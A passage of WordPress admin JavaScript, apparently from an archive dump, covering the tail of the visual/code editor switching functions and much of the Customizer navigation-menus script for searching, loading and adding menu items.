text.replace( /(<(?:div|th|td|form|fieldset|dd)[^>]*>)(.*?)<\/p>/g, function( a, b, c ) { if ( c.match( /<p( [^>]*)?>/ ) ) { return a; } return b + '<p>' + c + '</p>'; }); // Restore the line breaks in <pre> and <script> tags. if ( preserve_linebreaks ) { text = text.replace( /<wp-line-break>/g, '\n' ); } // Restore the <br> tags in captions. if ( preserve_br ) { text = text.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' ); } return text; } /** * Fires custom jQuery events `beforePreWpautop` and `afterPreWpautop` when jQuery is available. * * @since 2.9.0 * * @memberof switchEditors * * @param {string} html The content from the visual editor. * @return {string} the filtered content. */ function pre_wpautop( html ) { var obj = { o: exports, data: html, unfiltered: html }; if ( $ ) { $( 'body' ).trigger( 'beforePreWpautop', [ obj ] ); } obj.data = removep( obj.data ); if ( $ ) { $( 'body' ).trigger( 'afterPreWpautop', [ obj ] ); } return obj.data; } /** * Fires custom jQuery events `beforeWpautop` and `afterWpautop` when jQuery is available. * * @since 2.9.0 * * @memberof switchEditors * * @param {string} text The content from the text editor. * @return {string} filtered content. */ function wpautop( text ) { var obj = { o: exports, data: text, unfiltered: text }; if ( $ ) { $( 'body' ).trigger( 'beforeWpautop', [ obj ] ); } obj.data = autop( obj.data ); if ( $ ) { $( 'body' ).trigger( 'afterWpautop', [ obj ] ); } return obj.data; } if ( $ ) { $( init ); } else if ( document.addEventListener ) { document.addEventListener( 'DOMContentLoaded', init, false ); window.addEventListener( 'load', init, false ); } else if ( window.attachEvent ) { window.attachEvent( 'onload', init ); document.attachEvent( 'onreadystatechange', function() { if ( 'complete' === document.readyState ) { init(); } } ); } wp.editor.autop = wpautop; wp.editor.removep = pre_wpautop; exports = { go: switchEditor, wpautop: wpautop, pre_wpautop: pre_wpautop, _wp_Autop: autop, _wp_Nop: removep }; return exports; } /** * Expose the switch editors to be used globally. * * @namespace switchEditors */ window.switchEditors = new SwitchEditors(); /** * Initialize TinyMCE and/or Quicktags. For use with wp_enqueue_editor() (PHP). * * Intended for use with an existing textarea that will become the Code editor tab. * The editor width will be the width of the textarea container, height will be adjustable. * * Settings for both TinyMCE and Quicktags can be passed on initialization, and are "filtered" * with custom jQuery events on the document element, wp-before-tinymce-init and wp-before-quicktags-init. * * @since 4.8.0 * * @param {string} id The HTML id of the textarea that is used for the editor. * Has to be jQuery compliant. No brackets, special chars, etc. * @param {Object} settings Example: * settings = { * // See https://www.tinymce.com/docs/configure/integration-and-setup/. * // Alternatively set to `true` to use the defaults. * tinymce: { * setup: function( editor ) { * console.log( 'Editor initialized', editor ); * } * } * * // Alternatively set to `true` to use the defaults. * quicktags: { * buttons: 'strong,em,link' * } * } */ wp.editor.initialize = function( id, settings ) { var init; var defaults; if ( ! $ || ! id || ! wp.editor.getDefaultSettings ) { return; } defaults = wp.editor.getDefaultSettings(); // Initialize TinyMCE by default. if ( ! settings ) { settings = { tinymce: true }; } // Add wrap and the Visual|Code tabs. if ( settings.tinymce && settings.quicktags ) { var $textarea = $( '#' + id ); var $wrap = $( '<div>' ).attr( { 'class': 'wp-core-ui wp-editor-wrap tmce-active', id: 'wp-' + id + '-wrap' } ); var $editorContainer = $( '<div class="wp-editor-container">' ); var $button = $( '<button>' ).attr( { type: 'button', 'data-wp-editor-id': id } ); var $editorTools = $( '<div class="wp-editor-tools">' ); if ( settings.mediaButtons ) { var buttonText = 'Add Media'; if ( window._wpMediaViewsL10n && window._wpMediaViewsL10n.addMedia ) { buttonText = window._wpMediaViewsL10n.addMedia; } var $addMediaButton = $( '<button type="button" class="button insert-media add_media">' ); $addMediaButton.append( '<span class="wp-media-buttons-icon" aria-hidden="true"></span>' ); $addMediaButton.append( document.createTextNode( ' ' + buttonText ) ); $addMediaButton.data( 'editor', id ); $editorTools.append( $( '<div class="wp-media-buttons">' ) .append( $addMediaButton ) ); } $wrap.append( $editorTools .append( $( '<div class="wp-editor-tabs">' ) .append( $button.clone().attr({ id: id + '-tmce', 'class': 'wp-switch-editor switch-tmce' }).text( window.tinymce.translate( 'Visual' ) ) ) .append( $button.attr({ id: id + '-html', 'class': 'wp-switch-editor switch-html' }).text( window.tinymce.translate( 'Code|tab' ) ) ) ).append( $editorContainer ) ); $textarea.after( $wrap ); $editorContainer.append( $textarea ); } if ( window.tinymce && settings.tinymce ) { if ( typeof settings.tinymce !== 'object' ) { settings.tinymce = {}; } init = $.extend( {}, defaults.tinymce, settings.tinymce ); init.selector = '#' + id; $( document ).trigger( 'wp-before-tinymce-init', init ); window.tinymce.init( init ); if ( ! window.wpActiveEditor ) { window.wpActiveEditor = id; } } if ( window.quicktags && settings.quicktags ) { if ( typeof settings.quicktags !== 'object' ) { settings.quicktags = {}; } init = $.extend( {}, defaults.quicktags, settings.quicktags ); init.id = id; $( document ).trigger( 'wp-before-quicktags-init', init ); window.quicktags( init ); if ( ! window.wpActiveEditor ) { window.wpActiveEditor = init.id; } } }; /** * Remove one editor instance. * * Intended for use with editors that were initialized with wp.editor.initialize(). * * @since 4.8.0 * * @param {string} id The HTML id of the editor textarea. */ wp.editor.remove = function( id ) { var mceInstance, qtInstance, $wrap = $( '#wp-' + id + '-wrap' ); if ( window.tinymce ) { mceInstance = window.tinymce.get( id ); if ( mceInstance ) { if ( ! mceInstance.isHidden() ) { mceInstance.save(); } mceInstance.remove(); } } if ( window.quicktags ) { qtInstance = window.QTags.getInstance( id ); if ( qtInstance ) { qtInstance.remove(); } } if ( $wrap.length ) { $wrap.after( $( '#' + id ) ); $wrap.remove(); } }; /** * Get the editor content. * * Intended for use with editors that were initialized with wp.editor.initialize(). * * @since 4.8.0 * * @param {string} id The HTML id of the editor textarea. * @return The editor content. */ wp.editor.getContent = function( id ) { var editor; if ( ! $ || ! id ) { return; } if ( window.tinymce ) { editor = window.tinymce.get( id ); if ( editor && ! editor.isHidden() ) { editor.save(); } } return $( '#' + id ).val(); }; }( window.jQuery, window.wp )); js/customize-nav-menus.js 0000644 00000336727 15233246127 0011476 0 ustar 00 /** * @output wp-admin/js/customize-nav-menus.js */ /* global menus, _wpCustomizeNavMenusSettings, wpNavMenu, console */ ( function( api, wp, $ ) { 'use strict'; /** * Set up wpNavMenu for drag and drop. */ wpNavMenu.originalInit = wpNavMenu.init; wpNavMenu.options.menuItemDepthPerLevel = 20; wpNavMenu.options.sortableItems = '> .customize-control-nav_menu_item'; wpNavMenu.options.targetTolerance = 10; wpNavMenu.init = function() { this.jQueryExtensions(); }; /** * @namespace wp.customize.Menus */ api.Menus = api.Menus || {}; // Link settings. api.Menus.data = { itemTypes: [], l10n: {}, settingTransport: 'refresh', phpIntMax: 0, defaultSettingValues: { nav_menu: {}, nav_menu_item: {} }, locationSlugMappedToName: {} }; if ( 'undefined' !== typeof _wpCustomizeNavMenusSettings ) { $.extend( api.Menus.data, _wpCustomizeNavMenusSettings ); } /** * Newly-created Nav Menus and Nav Menu Items have negative integer IDs which * serve as placeholders until Save & Publish happens. * * @alias wp.customize.Menus.generatePlaceholderAutoIncrementId * * @return {number} */ api.Menus.generatePlaceholderAutoIncrementId = function() { return -Math.ceil( api.Menus.data.phpIntMax * Math.random() ); }; /** * wp.customize.Menus.AvailableItemModel * * A single available menu item model. See PHP's WP_Customize_Nav_Menu_Item_Setting class. * * @class wp.customize.Menus.AvailableItemModel * @augments Backbone.Model */ api.Menus.AvailableItemModel = Backbone.Model.extend( $.extend( { id: null // This is only used by Backbone. }, api.Menus.data.defaultSettingValues.nav_menu_item ) ); /** * wp.customize.Menus.AvailableItemCollection * * Collection for available menu item models. * * @class wp.customize.Menus.AvailableItemCollection * @augments Backbone.Collection */ api.Menus.AvailableItemCollection = Backbone.Collection.extend(/** @lends wp.customize.Menus.AvailableItemCollection.prototype */{ model: api.Menus.AvailableItemModel, sort_key: 'order', comparator: function( item ) { return -item.get( this.sort_key ); }, sortByField: function( fieldName ) { this.sort_key = fieldName; this.sort(); } }); api.Menus.availableMenuItems = new api.Menus.AvailableItemCollection( api.Menus.data.availableMenuItems ); /** * Insert a new `auto-draft` post. * * @since 4.7.0 * @alias wp.customize.Menus.insertAutoDraftPost * * @param {Object} params - Parameters for the draft post to create. * @param {string} params.post_type - Post type to add. * @param {string} params.post_title - Post title to use. * @return {jQuery.promise} Promise resolved with the added post. */ api.Menus.insertAutoDraftPost = function insertAutoDraftPost( params ) { var request, deferred = $.Deferred(); request = wp.ajax.post( 'customize-nav-menus-insert-auto-draft', { 'customize-menus-nonce': api.settings.nonce['customize-menus'], 'wp_customize': 'on', 'customize_changeset_uuid': api.settings.changeset.uuid, 'params': params } ); request.done( function( response ) { if ( response.post_id ) { api( 'nav_menus_created_posts' ).set( api( 'nav_menus_created_posts' ).get().concat( [ response.post_id ] ) ); if ( 'page' === params.post_type ) { // Activate static front page controls as this could be the first page created. if ( api.section.has( 'static_front_page' ) ) { api.section( 'static_front_page' ).activate(); } // Add new page to dropdown-pages controls. api.control.each( function( control ) { var select; if ( 'dropdown-pages' === control.params.type ) { select = control.container.find( 'select[name^="_customize-dropdown-pages-"]' ); select.append( new Option( params.post_title, response.post_id ) ); } } ); } deferred.resolve( response ); } } ); request.fail( function( response ) { var error = response || ''; if ( 'undefined' !== typeof response.message ) { error = response.message; } console.error( error ); deferred.rejectWith( error ); } ); return deferred.promise(); }; api.Menus.AvailableMenuItemsPanelView = wp.Backbone.View.extend(/** @lends wp.customize.Menus.AvailableMenuItemsPanelView.prototype */{ el: '#available-menu-items', events: { 'input #menu-items-search': 'debounceSearch', 'focus .menu-item-tpl': 'focus', 'click .menu-item-tpl': '_submit', 'click #custom-menu-item-submit': '_submitLink', 'keypress #custom-menu-item-name': '_submitLink', 'click .new-content-item .add-content': '_submitNew', 'keypress .create-item-input': '_submitNew', 'keydown': 'keyboardAccessible' }, // Cache current selected menu item. selected: null, // Cache menu control that opened the panel. currentMenuControl: null, debounceSearch: null, $search: null, $clearResults: null, searchTerm: '', rendered: false, pages: {}, sectionContent: '', loading: false, addingNew: false, /** * wp.customize.Menus.AvailableMenuItemsPanelView * * View class for the available menu items panel. * * @constructs wp.customize.Menus.AvailableMenuItemsPanelView * @augments wp.Backbone.View */ initialize: function() { var self = this; if ( ! api.panel.has( 'nav_menus' ) ) { return; } this.$search = $( '#menu-items-search' ); this.$clearResults = this.$el.find( '.clear-results' ); this.sectionContent = this.$el.find( '.available-menu-items-list' ); this.debounceSearch = _.debounce( self.search, 500 ); _.bindAll( this, 'close' ); /* * If the available menu items panel is open and the customize controls * are interacted with (other than an item being deleted), then close * the available menu items panel. Also close on back button click. */ $( '#customize-controls, .customize-section-back' ).on( 'click keydown', function( e ) { var isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ), isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' ); if ( $( 'body' ).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) { self.close(); } } ); // Clear the search results and trigger an `input` event to fire a new search. this.$clearResults.on( 'click', function() { self.$search.val( '' ).trigger( 'focus' ).trigger( 'input' ); } ); this.$el.on( 'input', '#custom-menu-item-name.invalid, #custom-menu-item-url.invalid', function() { $( this ).removeClass( 'invalid' ); var errorMessageId = $( this ).attr( 'aria-describedby' ); $( '#' + errorMessageId ).hide(); $( this ).removeAttr( 'aria-invalid' ).removeAttr( 'aria-describedby' ); }); // Load available items if it looks like we'll need them. api.panel( 'nav_menus' ).container.on( 'expanded', function() { if ( ! self.rendered ) { self.initList(); self.rendered = true; } }); // Load more items. this.sectionContent.on( 'scroll', function() { var totalHeight = self.$el.find( '.accordion-section.open .available-menu-items-list' ).prop( 'scrollHeight' ), visibleHeight = self.$el.find( '.accordion-section.open' ).height(); if ( ! self.loading && $( this ).scrollTop() > 3 / 4 * totalHeight - visibleHeight ) { var type = $( this ).data( 'type' ), object = $( this ).data( 'object' ); if ( 'search' === type ) { if ( self.searchTerm ) { self.doSearch( self.pages.search ); } } else { self.loadItems( [ { type: type, object: object } ] ); } } }); // Close the panel if the URL in the preview changes. api.previewer.bind( 'url', this.close ); self.delegateEvents(); }, // Search input change handler. search: function( event ) { var $searchSection = $( '#available-menu-items-search' ), $otherSections = $( '#available-menu-items .accordion-section' ).not( $searchSection ); if ( ! event ) { return; } if ( this.searchTerm === event.target.value ) { return; } if ( '' !== event.target.value && ! $searchSection.hasClass( 'open' ) ) { $otherSections.fadeOut( 100 ); $searchSection.find( '.accordion-section-content' ).slideDown( 'fast' ); $searchSection.addClass( 'open' ); this.$clearResults.addClass( 'is-visible' ); } else if ( '' === event.target.value ) { $searchSection.removeClass( 'open' ); $otherSections.show(); this.$clearResults.removeClass( 'is-visible' ); } this.searchTerm = event.target.value; this.pages.search = 1; this.doSearch( 1 ); }, // Get search results. doSearch: function( page ) { var self = this, params, $section = $( '#available-menu-items-search' ), $content = $section.find( '.accordion-section-content' ), itemTemplate = wp.template( 'available-menu-item' ); if ( self.currentRequest ) { self.currentRequest.abort(); } if ( page < 0 ) { return; } else if ( page > 1 ) { $section.addClass( 'loading-more' ); $content.attr( 'aria-busy', 'true' ); wp.a11y.speak( api.Menus.data.l10n.itemsLoadingMore ); } else if ( '' === self.searchTerm ) { $content.html( '' ); wp.a11y.speak( '' ); return; } $section.addClass( 'loading' ); self.loading = true; params = api.previewer.query( { excludeCustomizedSaved: true } ); _.extend( params, { 'customize-menus-nonce': api.settings.nonce['customize-menus'], 'wp_customize': 'on', 'search': self.searchTerm, 'page': page } ); self.currentRequest = wp.ajax.post( 'search-available-menu-items-customizer', params ); self.currentRequest.done(function( data ) { var items; if ( 1 === page ) { // Clear previous results as it's a new search. $content.empty(); } $section.removeClass( 'loading loading-more' ); $content.attr( 'aria-busy', 'false' ); $section.addClass( 'open' ); self.loading = false; items = new api.Menus.AvailableItemCollection( data.items ); self.collection.add( items.models ); items.each( function( menuItem ) { $content.append( itemTemplate( menuItem.attributes ) ); } ); if ( 20 > items.length ) { self.pages.search = -1; // Up to 20 posts and 20 terms in results, if <20, no more results for either. } else { self.pages.search = self.pages.search + 1; } if ( items && page > 1 ) { wp.a11y.speak( api.Menus.data.l10n.itemsFoundMore.replace( '%d', items.length ) ); } else if ( items && page === 1 ) { wp.a11y.speak( api.Menus.data.l10n.itemsFound.replace( '%d', items.length ) ); } }); self.currentRequest.fail(function( data ) { // data.message may be undefined, for example when typing slow and the request is aborted. if ( data.message ) { $content.empty().append( $( '<li class="nothing-found"></li>' ).text( data.message ) ); wp.a11y.speak( data.message ); } self.pages.search = -1; }); self.currentRequest.always(function() { $section.removeClass( 'loading loading-more' ); $content.attr( 'aria-busy', 'false' ); self.loading = false; self.currentRequest = null; }); }, // Render the individual items. initList: function() { var self = this; // Render the template for each item by type. _.each( api.Menus.data.itemTypes, function( itemType ) { self.pages[ itemType.type + ':' + itemType.object ] = 0; } ); self.loadItems( api.Menus.data.itemTypes ); }, /** * Load available nav menu items. * * @since 4.3.0 * @since 4.7.0 Changed function signature to take list of item types instead of single type/object. * @access private * * @param {Array.<Object>} itemTypes List of objects containing type and key. * @param {string} deprecated Formerly the object parameter. * @return {void} */ loadItems: function( itemTypes, deprecated ) { var self = this, _itemTypes, requestItemTypes = [], params, request, itemTemplate, availableMenuItemContainers = {}; itemTemplate = wp.template( 'available-menu-item' ); if ( _.isString( itemTypes ) && _.isString( deprecated ) ) { _itemTypes = [ { type: itemTypes, object: deprecated } ]; } else { _itemTypes = itemTypes; } _.each( _itemTypes, function( itemType ) { var container, name = itemType.type + ':' + itemType.object; if ( -1 === self.pages[ name ] ) { return; // Skip types for which there are no more results. } container = $( '#available-menu-items-' + itemType.type + '-' + itemType.object ); container.find( '.accordion-section-title' ).addClass( 'loading' ); availableMenuItemContainers[ name ] = container; requestItemTypes.push( { object: itemType.object, type: itemType.type, page: self.pages[ name ] } ); } ); if ( 0 === requestItemTypes.length ) { return; } self.loading = true; params = api.previewer.query( { excludeCustomizedSaved: true } ); _.extend( params, { 'customize-menus-nonce': api.settings.nonce['customize-menus'], 'wp_customize': 'on', 'item_types': requestItemTypes } ); request = wp.ajax.post( 'load-available-menu-items-customizer', params ); request.done(function( data ) { var typeInner; _.each( data.items, function( typeItems, name ) { if ( 0 === typeItems.length ) { if ( 0 === self.pages[ name ] ) { availableMenuItemContainers[ name ].find( '.accordion-section-title' ) .addClass( 'cannot-expand' ) .removeClass( 'loading' ) .find( '.accordion-section-title > button' ) .prop( 'tabIndex', -1 ); } self.pages[ name ] = -1; return; } else if ( ( 'post_type:page' === name ) && ( ! availableMenuItemContainers[ name ].hasClass( 'open' ) ) ) { availableMenuItemContainers[ name ].find( '.accordion-section-title > button' ).trigger( 'click' ); } typeItems = new api.Menus.AvailableItemCollection( typeItems ); // @todo Why is this collection created and then thrown away? self.collection.add( typeItems.models ); typeInner = availableMenuItemContainers[ name ].find( '.available-menu-items-list' ); typeItems.each( function( menuItem ) { typeInner.append( itemTemplate( menuItem.attributes ) ); } ); self.pages[ name ] += 1; }); }); request.fail(function( data ) { if ( typeof console !== 'undefined' && console.error ) { console.error( data ); } }); request.always(function() { _.each( availableMenuItemContainers, function( container ) { container.find( '.accordion-section-title' ).removeClass( 'loading' ); } ); self.loading = false; }); }, // Adjust the height of each section of items to fit the screen. itemSectionHeight: function() { var sections, lists, totalHeight, accordionHeight, diff; totalHeight = window.innerHeight; sections = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .accordion-section-content' ); lists = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .available-menu-items-list:not(":only-child")' ); accordionHeight = 46 * ( 1 + sections.length ) + 14; // Magic numbers. diff = totalHeight - accordionHeight; if ( 120 < diff && 290 > diff ) { sections.css( 'max-height', diff ); lists.css( 'max-height', ( diff - 60 ) ); } }, // Highlights a menu item. select: function( menuitemTpl ) { this.selected = $( menuitemTpl ); this.selected.siblings( '.menu-item-tpl' ).removeClass( 'selected' ); this.selected.addClass( 'selected' ); }, // Highlights a menu item on focus. focus: function( event ) { this.select( $( event.currentTarget ) ); }, // Submit handler for keypress and click on menu item. _submit: function( event ) { // Only proceed with keypress if it is Enter or Spacebar. if ( 'keypress' === event.type && ( 13 !== event.which && 32 !== event.which ) ) { return; } this.submit( $( event.currentTarget ) ); }, // Adds a selected menu item to the menu. submit: function( menuitemTpl ) { var menuitemId, menu_item; if ( ! menuitemTpl ) { menuitemTpl = this.selected; } if ( ! menuitemTpl || ! this.currentMenuControl ) { return; } this.select( menuitemTpl ); menuitemId = $( this.selected ).data( 'menu-item-id' ); menu_item = this.collection.findWhere( { id: menuitemId } ); if ( ! menu_item ) { return; } // Leave the title as empty to reuse the original title as a placeholder if set. var nav_menu_item = Object.assign( {}, menu_item.attributes ); if ( nav_menu_item.title === nav_menu_item.original_title ) { nav_menu_item.title = ''; } this.currentMenuControl.addItemToMenu( nav_menu_item ); $( menuitemTpl ).find( '.menu-item-handle' ).addClass( 'item-added' ); }, // Submit handler for keypress and click on custom menu item. _submitLink: function( event ) { // Only proceed with keypress if it is Enter. if ( 'keypress' === event.type && 13 !== event.which ) { return; } this.submitLink(); }, // Adds the custom menu item to the menu. submitLink: function() { var menuItem, itemName = $( '#custom-menu-item-name' ), itemUrl = $( '#custom-menu-item-url' ), urlErrorMessage = $( '#custom-url-error' ), nameErrorMessage = $( '#custom-name-error' ), url = itemUrl.val().trim(), urlRegex, errorText; if ( ! this.currentMenuControl ) { return; } /* * Allow URLs including: * - http://example.com/ * - //example.com * - /directory/ * - ?query-param * - #target * - mailto:foo@example.com * * Any further validation will be handled on the server when the setting is attempted to be saved, * so this pattern does not need to be complete. */ urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/; if ( ! urlRegex.test( url ) || '' === itemName.val() ) { if ( ! urlRegex.test( url ) ) { itemUrl.addClass( 'invalid' ) .attr( 'aria-invalid', 'true' ) .attr( 'aria-describedby', 'custom-url-error' ); urlErrorMessage.show(); errorText = urlErrorMessage.text(); // Announce error message via screen reader wp.a11y.speak( errorText, 'assertive' ); } if ( '' === itemName.val() ) { itemName.addClass( 'invalid' ) .attr( 'aria-invalid', 'true' ) .attr( 'aria-describedby', 'custom-name-error' ); nameErrorMessage.show(); errorText = ( '' === errorText ) ? nameErrorMessage.text() : errorText + nameErrorMessage.text(); // Announce error message via screen reader wp.a11y.speak( errorText, 'assertive' ); } return; } urlErrorMessage.hide(); nameErrorMessage.hide(); itemName.removeClass( 'invalid' ) .removeAttr( 'aria-invalid', 'true' ) .removeAttr( 'aria-describedby', 'custom-name-error' ); itemUrl.removeClass( 'invalid' ) .removeAttr( 'aria-invalid', 'true' ) .removeAttr( 'aria-describedby', 'custom-name-error' ); menuItem = { 'title': itemName.val(), 'url': url, 'type': 'custom', 'type_label': api.Menus.data.l10n.custom_label, 'object': 'custom' }; this.currentMenuControl.addItemToMenu( menuItem ); // Reset the custom link form. itemUrl.val( '' ).attr( 'placeholder', 'https://' ); itemName.val( '' ); }, /** * Submit handler for keypress (enter) on field and click on button. * * @since 4.7.0 * @private * * @param {jQuery.Event} event Event. * @return {void} */ _submitNew: function( event ) { var container; // Only proceed with keypress if it is Enter. if ( 'keypress' === event.type && 13 !== event.which ) { return; } if ( this.addingNew ) { return; } container = $( event.target ).closest( '.accordion-section' ); this.submitNew( container ); }, /** * Creates a new object and adds an associated menu item to the menu. * * @since 4.7.0 * @private * * @param {jQuery} container * @return {void} */ submitNew: function( container ) { var panel = this, itemName = container.find( '.create-item-input' ), title = itemName.val(), dataContainer = container.find( '.available-menu-items-list' ), itemType = dataContainer.data( 'type' ), itemObject = dataContainer.data( 'object' ), itemTypeLabel = dataContainer.data( 'type_label' ), inputError = container.find('.create-item-error'), promise; if ( ! this.currentMenuControl ) { return; } // Only posts are supported currently. if ( 'post_type' !== itemType ) { return; } if ( '' === itemName.val().trim() ) { container.addClass( 'form-invalid' ); itemName.attr('aria-invalid', 'true'); itemName.attr('aria-describedby', inputError.attr('id')); inputError.slideDown( 'fast' ); wp.a11y.speak( inputError.text() ); return; } else { container.removeClass( 'form-invalid' ); itemName.attr('aria-invalid', 'false'); itemName.removeAttr('aria-describedby'); inputError.hide(); container.find( '.accordion-section-title' ).addClass( 'loading' ); } panel.addingNew = true; itemName.attr( 'disabled', 'disabled' ); promise = api.Menus.insertAutoDraftPost( { post_title: title, post_type: itemObject } ); promise.done( function( data ) { var availableItem, $content, itemElement; availableItem = new api.Menus.AvailableItemModel( { 'id': 'post-' + data.post_id, // Used for available menu item Backbone models. 'title': itemName.val(), 'type': itemType, 'type_label': itemTypeLabel, 'object': itemObject, 'object_id': data.post_id, 'url': data.url } ); // Add new item to menu. panel.currentMenuControl.addItemToMenu( availableItem.attributes ); // Add the new item to the list of available items. api.Menus.availableMenuItemsPanel.collection.add( availableItem ); $content = container.find( '.available-menu-items-list' ); itemElement = $( wp.template( 'available-menu-item' )( availableItem.attributes ) ); itemElement.find( '.menu-item-handle:first' ).addClass( 'item-added' ); $content.prepend( itemElement ); $content.scrollTop(); // Reset the create content form. itemName.val( '' ).removeAttr( 'disabled' ); panel.addingNew = false; container.find( '.accordion-section-title' ).removeClass( 'loading' ); } ); }, // Opens the panel. open: function( menuControl ) { var panel = this, close; this.currentMenuControl = menuControl; this.itemSectionHeight(); if ( api.section.has( 'publish_settings' ) ) { api.section( 'publish_settings' ).collapse(); } $( 'body' ).addClass( 'adding-menu-items' ); close = function() { panel.close(); $( this ).off( 'click', close ); }; $( '#customize-preview' ).on( 'click', close ); // Collapse all controls. _( this.currentMenuControl.getMenuItemControls() ).each( function( control ) { control.collapseForm(); } ); this.$el.find( '.selected' ).removeClass( 'selected' ); this.$search.trigger( 'focus' ); }, // Closes the panel. close: function( options ) { options = options || {}; if ( options.returnFocus && this.currentMenuControl ) { this.currentMenuControl.container.find( '.add-new-menu-item' ).focus(); } this.currentMenuControl = null; this.selected = null; $( 'body' ).removeClass( 'adding-menu-items' ); $( '#available-menu-items .menu-item-handle.item-added' ).removeClass( 'item-added' ); this.$search.val( '' ).trigger( 'input' ); }, // Add a few keyboard enhancements to the panel. keyboardAccessible: function( event ) { var isEnter = ( 13 === event.which ), isEsc = ( 27 === event.which ), isBackTab = ( 9 === event.which && event.shiftKey ), isSearchFocused = $( event.target ).is( this.$search ); // If enter pressed but nothing entered, don't do anything. if ( isEnter && ! this.$search.val() ) { return; } if ( isSearchFocused && isBackTab ) { this.currentMenuControl.container.find( '.add-new-menu-item' ).focus(); event.preventDefault(); // Avoid additional back-tab. } else if ( isEsc ) { this.close( { returnFocus: true } ); } } }); /** * wp.customize.Menus.MenusPanel * * Customizer panel for menus. This is used only for screen options management. * Note that 'menus' must match the WP_Customize_Menu_Panel::$type. * * @class wp.customize.Menus.MenusPanel * @augments wp.customize.Panel */ api.Menus.MenusPanel = api.Panel.extend(/** @lends wp.customize.Menus.MenusPanel.prototype */{ attachEvents: function() { api.Panel.prototype.attachEvents.call( this ); var panel = this, panelMeta = panel.container.find( '.panel-meta' ), help = panelMeta.find( '.customize-help-toggle' ), content = panelMeta.find( '.customize-panel-description' ), options = $( '#screen-options-wrap' ), button = panelMeta.find( '.customize-screen-options-toggle' ); button.on( 'click keydown', function( event ) { if ( api.utils.isKeydownButNotEnterEvent( event ) ) { return; } event.preventDefault(); // Hide description. if ( content.not( ':hidden' ) ) { content.slideUp( 'fast' ); help.attr( 'aria-expanded', 'false' ); } if ( 'true' === button.attr( 'aria-expanded' ) ) { button.attr( 'aria-expanded', 'false' ); panelMeta.removeClass( 'open' ); panelMeta.removeClass( 'active-menu-screen-options' ); options.slideUp( 'fast' ); } else { button.attr( 'aria-expanded', 'true' ); panelMeta.addClass( 'open' ); panelMeta.addClass( 'active-menu-screen-options' ); options.slideDown( 'fast' ); } return false; } ); // Help toggle. help.on( 'click keydown', function( event ) { if ( api.utils.isKeydownButNotEnterEvent( event ) ) { return; } event.preventDefault(); if ( 'true' === button.attr( 'aria-expanded' ) ) { button.attr( 'aria-expanded', 'false' ); help.attr( 'aria-expanded', 'true' ); panelMeta.addClass( 'open' ); panelMeta.removeClass( 'active-menu-screen-options' ); options.slideUp( 'fast' ); content.slideDown( 'fast' ); } } ); }, /** * Update field visibility when clicking on the field toggles. */ ready: function() { var panel = this; panel.container.find( '.hide-column-tog' ).on( 'click', function() { panel.saveManageColumnsState(); }); // Inject additional heading into the menu locations section's head container. api.section( 'menu_locations', function( section ) { section.headContainer.prepend( wp.template( 'nav-menu-locations-header' )( api.Menus.data ) ); } ); }, /** * Save hidden column states. * * @since 4.3.0 * @private * * @return {void} */ saveManageColumnsState: _.debounce( function() { var panel = this; if ( panel._updateHiddenColumnsRequest ) { panel._updateHiddenColumnsRequest.abort(); } panel._updateHiddenColumnsRequest = wp.ajax.post( 'hidden-columns', { hidden: panel.hidden(), screenoptionnonce: $( '#screenoptionnonce' ).val(), page: 'nav-menus' } ); panel._updateHiddenColumnsRequest.always( function() { panel._updateHiddenColumnsRequest = null; } ); }, 2000 ), /** * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers. */ checked: function() {}, /** * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers. */ unchecked: function() {}, /** * Get hidden fields. * * @since 4.3.0 * @private * * @return {Array} Fields (columns) that are hidden. */ hidden: function() { return $( '.hide-column-tog' ).not( ':checked' ).map( function() { var id = this.id; return id.substring( 0, id.length - 5 ); }).get().join( ',' ); } } ); /** * wp.customize.Menus.MenuSection * * Customizer section for menus. This is used only for lazy-loading child controls. * Note that 'nav_menu' must match the WP_Customize_Menu_Section::$type. * * @class wp.customize.Menus.MenuSection * @augments wp.customize.Section */ api.Menus.MenuSection = api.Section.extend(/** @lends wp.customize.Menus.MenuSection.prototype */{ /** * Initialize. * * @since 4.3.0 * * @param {string} id * @param {Object} options */ initialize: function( id, options ) { var section = this; api.Section.prototype.initialize.call( section, id, options ); section.deferred.initSortables = $.Deferred(); }, /** * Ready. */ ready: function() { var section = this, fieldActiveToggles, handleFieldActiveToggle; if ( 'undefined' === typeof section.params.menu_id ) { throw new Error( 'params.menu_id was not defined' ); } /* * Since newly created sections won't be registered in PHP, we need to prevent the * preview's sending of the activeSections to result in this control * being deactivated when the preview refreshes. So we can hook onto * the setting that has the same ID and its presence can dictate * whether the section is active. */ section.active.validate = function() { if ( ! api.has( section.id ) ) { return false; } return !! api( section.id ).get(); }; section.populateControls(); section.navMenuLocationSettings = {}; section.assignedLocations = new api.Value( [] ); api.each(function( setting, id ) { var matches = id.match( /^nav_menu_locations\[(.+?)]/ ); if ( matches ) { section.navMenuLocationSettings[ matches[1] ] = setting; setting.bind( function() { section.refreshAssignedLocations(); }); } }); section.assignedLocations.bind(function( to ) { section.updateAssignedLocationsInSectionTitle( to ); }); section.refreshAssignedLocations(); api.bind( 'pane-contents-reflowed', function() { // Skip menus that have been removed. if ( ! section.contentContainer.parent().length ) { return; } section.container.find( '.menu-item .menu-item-reorder-nav button' ).attr({ 'tabindex': '0', 'aria-hidden': 'false' }); section.container.find( '.menu-item.move-up-disabled .menus-move-up' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' }); section.container.find( '.menu-item.move-down-disabled .menus-move-down' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' }); section.container.find( '.menu-item.move-left-disabled .menus-move-left' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' }); section.container.find( '.menu-item.move-right-disabled .menus-move-right' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' }); } ); /** * Update the active field class for the content container for a given checkbox toggle. * * @this {jQuery} * @return {void} */ handleFieldActiveToggle = function() { var className = 'field-' + $( this ).val() + '-active'; section.contentContainer.toggleClass( className, $( this ).prop( 'checked' ) ); }; fieldActiveToggles = api.panel( 'nav_menus' 